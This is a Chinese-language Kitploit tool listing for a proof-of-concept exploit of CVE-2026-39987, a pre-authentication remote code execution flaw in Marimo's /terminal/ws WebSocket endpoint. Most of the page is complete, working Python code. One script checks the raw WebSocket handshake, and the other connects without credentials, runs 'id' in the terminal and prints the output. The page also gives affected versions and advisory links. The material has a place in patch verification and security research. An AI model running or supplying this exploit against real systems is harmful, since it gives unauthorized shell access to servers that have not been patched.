Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39987 — 概念验证漏洞利用程序,针对 Marimo 中通过 WebSocket 端点实现的身份验证前远程代码执行漏洞,允许未认证攻击者获取交互式 PTY shell。 | Kitploit
工具/GitHubGitHub/h3raklez/cve-2026-39987
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

概念验证漏洞利用程序,针对 Marimo 中通过 WebSocket 端点实现的身份验证前远程代码执行漏洞,允许未认证攻击者获取交互式 PTY shell。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39987 — Marimo 预认证远程代码执行

仅供教育和授权安全研究使用。

描述

Marimo <= 0.20.4 中存在预认证远程代码执行漏洞。
WebSocket 端点 /terminal/ws 跳过了身份验证校验,允许未认证的攻击者通过单次连接获得完整的交互式 PTY shell。

  • CVSS v4.0: 9.3(严重)
  • CWE: CWE-306(关键功能缺少身份验证)
  • 受影响版本: <= 0.20.4
  • 修复版本: 0.23.0

环境要求

  • Python 3
  • websockets(pip install websockets)
  • 可访问目标上的 2718 端口

端点验证

确认该端点无需凭据即可接受连接:

root@kitploit:~
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

预期结果: HTTP/1.1 101 Switching Protocols


漏洞利用

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Connection established without authentication")
        await asyncio.sleep(0.3)

        # Read initial PTY banner
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Send command
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Read frames until timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

参考

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

免责声明

本工具仅供教育目的和授权安全测试使用。未经授权对您不拥有或未获得明确书面许可的系统进行使用是违法的。作者不对任何滥用行为负责。

下载工具